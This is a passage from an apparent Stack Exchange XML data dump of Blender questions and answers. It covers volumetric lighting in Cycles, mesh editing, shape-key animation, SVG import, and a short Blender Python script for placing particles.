href=&quot;https://wiki.blender.org/uploads/thumb/6/6d/Cycles_270_Volume.png/800px-Cycles_270_Volume.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender.org&lt;/a&gt;)&lt;/sub&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this just how it works?&lt;br&gt;&#xA;Or is there some trick I have missed (not counting compositing/renderlayer tricks)?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="32220" LastEditDate="2019-02-25T23:35:15.547" LastActivityDate="2019-02-25T23:35:15.547" Title="Correct way to render crepuscular rays in cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="8002" PostTypeId="1" AcceptedAnswerId="8003" CreationDate="2014-03-24T07:40:53.200" Score="6" ViewCount="363" Body="&lt;p&gt;After assigning two different materials to a subdivded mesh, I would like to smooth the demarcation between them from:&lt;img src=&quot;https://i.stack.imgur.com/SQ0Pc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dXKvM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to isolate one material and selected the outline using Select / Non Manifold&#xA;and hoped that I could rotate the edges around z-axis with individual origins but this didn't work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C41Qh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can the edges be smoothed as in the 2nd image (preferably without separating the mesh before) ?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-04-15T20:55:33.383" Title="How can the demarcation between two materials be smoothed?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8003" PostTypeId="2" ParentId="8002" CreationDate="2014-03-24T07:49:00.723" Score="7" Body="&lt;p&gt;You can try the &lt;em&gt;Relax&lt;/em&gt; operator of &lt;em&gt;Loop Tools&lt;/em&gt; (a bundled addon):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2bu7z.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;To use:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the addon in &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&amp;gt; User Preferences &amp;gt; Addons&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iAMNl.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then run it by pressing &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; LoopTools &amp;gt; Relax&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-24T07:54:35.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8004" PostTypeId="2" ParentId="7989" CreationDate="2014-03-24T08:14:01.523" Score="3" Body="&lt;p&gt;I was slightely confused by your question, since you didnt mention that you are using non-default settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easy solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable &quot;Region Overlap&quot; in &quot;User Preferences - System&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eIByx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use &quot;Region Overlap&quot; here is a small hackish patch to space_view3d_screencast_keys.py that should roughly do what you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def getDisplayLocation(context):&#xA;    scene   = context.scene&#xA;    mouse_size = scene.screencast_keys_mouse_size&#xA;&#xA;    tool = context.area.regions[1] #coughs.. we just assume its there&#xA;    w = 0&#xA;    if bpy.context.user_preferences.system.use_region_overlap:&#xA;        w = tool.width&#xA;&#xA;    pos_x = int( (context.region.width  - mouse_size * MOUSE_RATIO) * \&#xA;        scene.screencast_keys_pos_x / 100 + w)&#xA;    pos_y = int( (context.region.height - mouse_size) *&#xA;        scene.screencast_keys_pos_y / 100)&#xA;&#xA;    return(pos_x, pos_y)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whole file is here: &lt;a href=&quot;https://drive.google.com/file/d/0B5DXvrt8x04CTXAxSDVlbC1UMjA/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;space_view3d_screencast_keys.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just find your scripts/addons folder, move the old file and place this one there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slightly safer might be to query for the tools panel but it comes with some overhead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;w = 0&#xA;for region in context.area.regions:&#xA;    if region.type == 'TOOLS' and bpy.context.user_preferences.system.use_region_overlap:        &#xA;        w = region.width&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-03-24T16:46:18.430" LastActivityDate="2014-03-24T16:46:18.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8005" PostTypeId="1" AcceptedAnswerId="8011" CreationDate="2014-03-24T08:26:46.740" Score="6" ViewCount="1400" Body="&lt;p&gt;Here is a render example of my problem.&#xA;A plane with a glossy material will reflect the sun disc, but the sun itself doesn't appears in the sky.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NRJ0g.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea ?&#xA;(i've used the &quot;Sun Position&quot; addon to help for positioning the sun, but even if i don't use it, the sun didn't shows itself)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using Blender 2.7 on PC, i've try on a Mac, the problem is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Arno&lt;/p&gt;&#xA;" OwnerUserId="2890" LastActivityDate="2014-03-25T10:55:56.760" Title="Cycles sky : Sun disc appears only in reflections" Tags="&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8006" PostTypeId="1" CreationDate="2014-03-24T09:57:55.693" Score="4" ViewCount="4725" Body="&lt;p&gt;Given: a mesh which forms one-n'th of a torus. I Alt-D-duplicate it, rotate the copy by 360°/n, and get the ends to meet up. Repeat n-1 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have now a nicely symmetric object which I can edit further. This is not the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I move a vertex at the border between copies, that nice alignment is destroyed. Obviously I cannot join the corresponding vertices; it's the same underlying mesh, after all..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, how can I keep them in sync while editing? Repeating the edit steps on the &quot;other&quot; side is tedious, and snap-to-vertex doesn't help much either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify: I want to create a closed object with n-fold symmetry which stays closed and symmetric, no matter which vertex/edge/face I move. A normal torus will not stay symmetric. A 1/nth-torus with n-1 360°/n-rotated copies will not stay closed when I move a vertex/edge/face at the border.&lt;/p&gt;&#xA;" OwnerUserId="2887" LastEditorUserId="2887" LastEditDate="2014-03-24T17:14:49.857" LastActivityDate="2014-03-24T21:51:16.320" Title="&quot;Joining&quot; points in one mesh" Tags="&lt;editing&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8007" PostTypeId="2" ParentId="7971" CreationDate="2014-03-24T10:49:07.690" Score="1" Body="&lt;h2&gt;&lt;strong&gt;Single Segment with Array Modifier&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;Another possible solution is to make a single segment of the repeating section of your object and then add an Array modifier to it.&lt;/p&gt;&#xA;&lt;p&gt;This would be useful if you can't find any easy way to create the whole mesh at once with all the desired features. In this situation, you can spend the time manually perfecting the mesh of just one segment and then add the Array modifier to make the full section. Here's an example:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First, make one segment of the repeating part of the model, like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aCFjP.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next, add an Array modifier with a Count of as many times as you need:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PoA07.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From here, you can edit you mesh to incorporate all the other details you need.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-24T10:49:07.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8008" PostTypeId="2" ParentId="8006" CreationDate="2014-03-24T10:57:21.283" Score="4" Body="&lt;p&gt;You could merge the vertices by invoking the &lt;em&gt;Remove Doubles&lt;/em&gt; operator&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/loQrQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you could create the torus without duplicated vertices, starting with an e.g. an 1/8th&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4m37g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By rotating using the &#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Duplicating/Spin&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Spin Tool&lt;/em&gt;&lt;/a&gt;  &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt; in &lt;em&gt;Edit Mode&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PKG08.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-03-24T20:06:01.400" LastActivityDate="2014-03-24T20:06:01.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8009" PostTypeId="2" ParentId="8006" CreationDate="2014-03-24T11:07:30.343" Score="3" Body="&lt;p&gt;I don't completely understand the problem you are encountering, but here are a few things you might try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;While in Edit mode, before you start modeling (such as duplicating your torus sections) turn on &quot;Automatically merge vertices moved to the same location&quot;:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3kDx9.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes sure you won't have double, non-merged vertices in the same spot, thus you won't have to use Remove Doubles later on.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you use &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; to duplicate the torus section, you are creating what is called a Linked Duplicate. With Linked Duplicates, whenever you modify the section, &lt;strong&gt;ALL&lt;/strong&gt; of the sections will be effected, as shown here:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EFhHz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you don't want this to happen, use &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; to create non-linked Duplicates. With these kinds of Duplicates, when you edit one, the others remain unedited, as shown here:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7rLKL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want to learn more about the differences between Duplicates and Linked Duplicates, you can read more about them here:  &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-24T11:29:12.130" LastActivityDate="2014-03-24T11:29:12.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8010" PostTypeId="2" ParentId="8002" CreationDate="2014-03-24T11:55:25.157" Score="4" Body="&lt;h2&gt;&lt;strong&gt;Dynamically Fading One Texture Into Another&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is what you're looking for, but it is a very interesting technique I got from Andrew Price's tutorial on how to make an earth. Andrew's technique uses the following node tree to have one texture (the day image) dynamically fade into a second texture (the night image), depending on which part of the earth mesh is being lit by the Sun lamp as the earth rotates. Here's the node tree:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gOxfK.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, wherever the Separator material is not receiving light from the Sun lamp and is thus black, the night texture map is used, and wherever the Separator is white due to the light of the Sun, the day texture is used. By adjusting the position of the second color stop on the Color Ramp node, you can adjust how the two textures mix together.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your purpose, instead of using a light from a lamp on a Separator material to make some part of your mesh light, you could instead use something like a black &amp;amp; white Cloud texture to act as the light and dark input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://drive.google.com/file/d/0B_yQeQQ8ImENbzYzZUJud0JFWEk/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt; -- the node tree above is found on the Earth mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;a href=&quot;http://www.blenderguru.com/videos/create-a-realistic-earth/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Andrew's tutorial&lt;/a&gt; on his website &lt;a href=&quot;http://www.blenderguru.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Guru&lt;/a&gt;. Also, notice that on Andrew's site, below the tutorial, you can download Andrew's &lt;a href=&quot;http://www.blenderguru.com/wp-content/uploads/2011/06/Realistic_earth.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;finished Earth blend file&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-15T20:55:33.383" LastActivityDate="2014-04-15T20:55:33.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8011" PostTypeId="2" ParentId="8005" CreationDate="2014-03-24T12:57:02.030" Score="6" Body="&lt;p&gt;&lt;strong&gt;Lamps in Blender Render&lt;/strong&gt;&lt;br&gt;&#xA;In Blender Render you can turn Halo on, and the light will be visible to the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Lamps in Cycles Render&lt;/strong&gt;&lt;br&gt;&#xA;You can't see lamps if you are using Cycles Render. That's one of their defining qualities. Here is a quote from the Blender wiki:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;Next to lighting from the background and any object with an emission shader, lamps are another way to add light into the scene. The difference is that they are not directly visible in the rendered image, and can be more easily managed as objects of their own type.&quot;&lt;/em&gt;&lt;br&gt;&#xA;(Source: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Lamps&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Lamps&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you need a visible light source in Cycles, use either mesh lights (i.e. meshes with an emissive material) or for example an HDRI with a studio lighting setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;New Experimental Cycles Volume Scatter Feature&lt;/strong&gt;&lt;br&gt;&#xA;The only other way you can see the light source in Cycles is with the new Volume Scatter:  &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Materials/Volume&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Materials/Volume&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to give credit where credit is due, all the information I've listed here I have gotten from the Blender Developers and members of BlenderArtists.org, which also is a great knowledge base for everything Blender-related. Here's the question I asked about lamps:&lt;br&gt;&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?331453-How-can-I-see-a-lamp-in-a-scene&amp;amp;p=2607054#post2607054&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?331453-How-can-I-see-a-lamp-in-a-scene&amp;amp;p=2607054#post2607054&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-25T10:55:56.760" LastActivityDate="2014-03-25T10:55:56.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8012" PostTypeId="2" ParentId="7982" CreationDate="2014-03-24T13:15:54.093" Score="3" Body="&lt;p&gt;Dupliverts is another easy way to duplicate an object at defined locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with a leaf and and a mesh circle, make the circle the parent of the leaf and object properties of the circle enable verts and rotation under duplication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CCCOr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A duplicated of the leaf will then be located at each vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HcANF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These duplicates can then be turned into real objects with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-24T13:15:54.093" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8013" PostTypeId="1" AcceptedAnswerId="8014" CreationDate="2014-03-24T13:29:29.817" Score="7" ViewCount="20180" Body="&lt;p&gt;I am trying to animate a simple scene to test the shape key I added to the object but I tried to keyframe the shape key but I couldn't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I keyframe the object after changing the shape key then I go to the next frame and change the shape key to what I want and play the scene the object doesn't change at all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the tutorials I found were for blender 2.4 which is i guess outdated &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I keyframe a shapekey?&lt;/p&gt;&#xA;" OwnerUserId="2148" LastEditorUserId="15394" LastEditDate="2016-02-28T14:45:14.583" LastActivityDate="2020-04-12T13:30:06.367" Title="How to keyframe a shapekey" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;shape-keys&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8014" PostTypeId="2" ParentId="8013" CreationDate="2014-03-24T13:47:12.297" Score="13" Body="&lt;p&gt;Just by going by the description of your process for inserting keyframes it sounds like you are only creating 1 keyframe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process to animate a property is to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set the value of the property (in this case the '&lt;strong&gt;Value&lt;/strong&gt;' property of the shapekey)&lt;/li&gt;&#xA;&lt;li&gt;Insert a keyframe by pressing &lt;kbd&gt;I&lt;/kbd&gt; with the cursor over the &lt;strong&gt;Value&lt;/strong&gt; property.&lt;/li&gt;&#xA;&lt;li&gt;Move to a different frame in the timeline.&lt;/li&gt;&#xA;&lt;li&gt;Set the property to a new value.&lt;/li&gt;&#xA;&lt;li&gt;Insert a &lt;em&gt;second&lt;/em&gt; keyframe on the property.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Keyframes have to be inserted at every point in the timeline where you want the property to change to a specific value.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-03-24T13:47:12.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8015" PostTypeId="2" ParentId="8001" CreationDate="2014-03-24T14:02:46.810" Score="13" Body="&lt;p&gt;This is really a tricky one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, world surface shader and sun lamps dont work for world volume shading for now (as stated in the manual). Also, if you use object volumes the camera can not be inside the volume. But you can make a cube bubble around the camera and parent it to the camera. E.g use a &quot;Boolean Modifier&quot; with the bubble (intersect) to cut it off. Of course this only works when your bubble sticks out of the volume but you can extrude it in any direction that doesnt point forward anyway.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v2p0R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of the node setup for a volume:&#xA;volume scatter shader and volume absorbtion shader as input to an add shader. Thats it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0XSj2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sun lamp use simple emission with strength of e.g. 9 to get deeper shading for the rays. Also helpful is to set the sampling size for the shadow to 0 to get crisp lines. Background can be set to a Sky Texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep render settings simple volume scattering events can be set to 0. For the Volume Sampling it might be necessary to tweak the Max Steps (e.g. 2048) and Step Size (e.g. 0.04).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MFSb5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what it would look like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EXvJP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get more crepuscular rays (like in the image you provided) you could add some shadow shapes between the sun and the volume (acting as clouds). Of course this example looks horrible but you get the idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ywmn8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-03-24T16:52:52.957" LastActivityDate="2014-03-24T16:52:52.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8016" PostTypeId="1" AcceptedAnswerId="8018" CreationDate="2014-03-24T17:32:31.257" Score="4" ViewCount="17379" Body="&lt;p&gt;I'm new to Blender and trying to make a 3D model out of a 2D image.&#xA;I made an inkscape 2D trace and saved as .svg file. When trying to import it to Blender, it does not show anything in the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any possible reasons you could help me with ?&lt;/p&gt;&#xA;" OwnerUserId="2893" LastActivityDate="2015-02-11T15:15:31.880" Title="Imported .svg files does not show up" Tags="&lt;import&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ClosedDate="2016-07-20T15:35:45.693" ContentLicense="CC BY-SA 3.0" />
  <row Id="8017" PostTypeId="1" AcceptedAnswerId="8043" CreationDate="2014-03-24T17:37:23.317" Score="2" ViewCount="1916" Body="&lt;p&gt;I am having trouble finding an example of how to use python scripts to drive shape keys, as opposed to using python scripts to move bones which animate the characters mesh through Bone Driven Shape Key animations. In other words - is there a way of changing the shape key values in the BGE during game play that is simper than accessing the bones which are tied (using Drivers) to the shape keys values?&#xA;Here is an example of Bone Driven Shape Key animations &lt;a href=&quot;http://vimeo.com/21357304&quot; rel=&quot;nofollow&quot;&gt;http://vimeo.com/21357304&lt;/a&gt; if it is not clear what I am referring to (go to 15:20 on-wards).&#xA;Thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2014-05-26T23:12:10.110" Title="Using Scripted Expressions for Shape Key Drivers" Tags="&lt;python&gt;&lt;bones&gt;&lt;drivers&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8018" PostTypeId="2" ParentId="8016" CreationDate="2014-03-24T17:57:59.673" Score="2" Body="&lt;p&gt;I've found issues with SVG or illustrator when the shape is filled but is not a closed curve or when the shapes have overlapping lines or fills.&#xA;On the other hand, for such a simple shape you could import the image as background and trace it as a curve directly in blender.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pDPMW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-03-24T18:25:12.300" LastActivityDate="2014-03-24T18:25:12.300" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8019" PostTypeId="1" AcceptedAnswerId="8092" CreationDate="2014-03-24T19:19:06.667" Score="5" ViewCount="195" Body="&lt;p&gt;I would like to render many buildings (say, about 50000) as simple columns on a flat plain in Blender.  I have values for location (X,Y) and a height value.  However, if I try to add more than a couple of thousand columns, I run out of memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that I want to use the particle / hair system since each building is not independent.  they are all simple 4 sided columns, so they can use the same textures, etc.  I can add 50,000 columns, using the techniques discussed in the video  &lt;a href=&quot;http://www.youtube.com/watch?v=mCEQYyesxLg&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=mCEQYyesxLg&lt;/a&gt;.  However, I need to be able to set the location and scale of each one based on my data.  How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result should be something like:  &lt;a href=&quot;http://ekisto.sq.ro/&quot; rel=&quot;nofollow&quot;&gt;http://ekisto.sq.ro/&lt;/a&gt;  which is a beautiful visualization of stack overflow data.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:  I'm close!  The following updates my particle locations and scales:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scalesize = 10&#xA;scalexy = 50&#xA;&#xA;object = bpy.context.object&#xA;cols = object.particle_systems[0].particles&#xA;&#xA;def setColumn(index, name, xval, yval, heightval):&#xA;    cols[index].location.x = float(xval) / scalexy&#xA;    cols[index].location.y = float(yval) / scalexy&#xA;    cols[index].location.z = 0 &#xA;    cols[index].size = float(heightval) / scalesize&#xA;&#xA;ii = 0&#xA;f = open('input.data', 'r')&#xA;for line in f:&#xA;    values = line.split()&#xA;    setColumn(ii, values[0], values[1], values[2], values[3])&#xA;    ii = ii + 1&#xA;f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I hit 'F12' to do the render, the particle system updates all the locations and un-does the setting of the locations.  How do I tell the particle system to not update?&lt;/p&gt;&#xA;" OwnerUserId="2895" LastEditorUserId="2895" LastEditDate="2014-03-24T21:04:28.130" LastActivityDate="2014-03-27T14:00:42.407" Title="How to Add and Render Many Columns" Tags="&lt;rendering&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
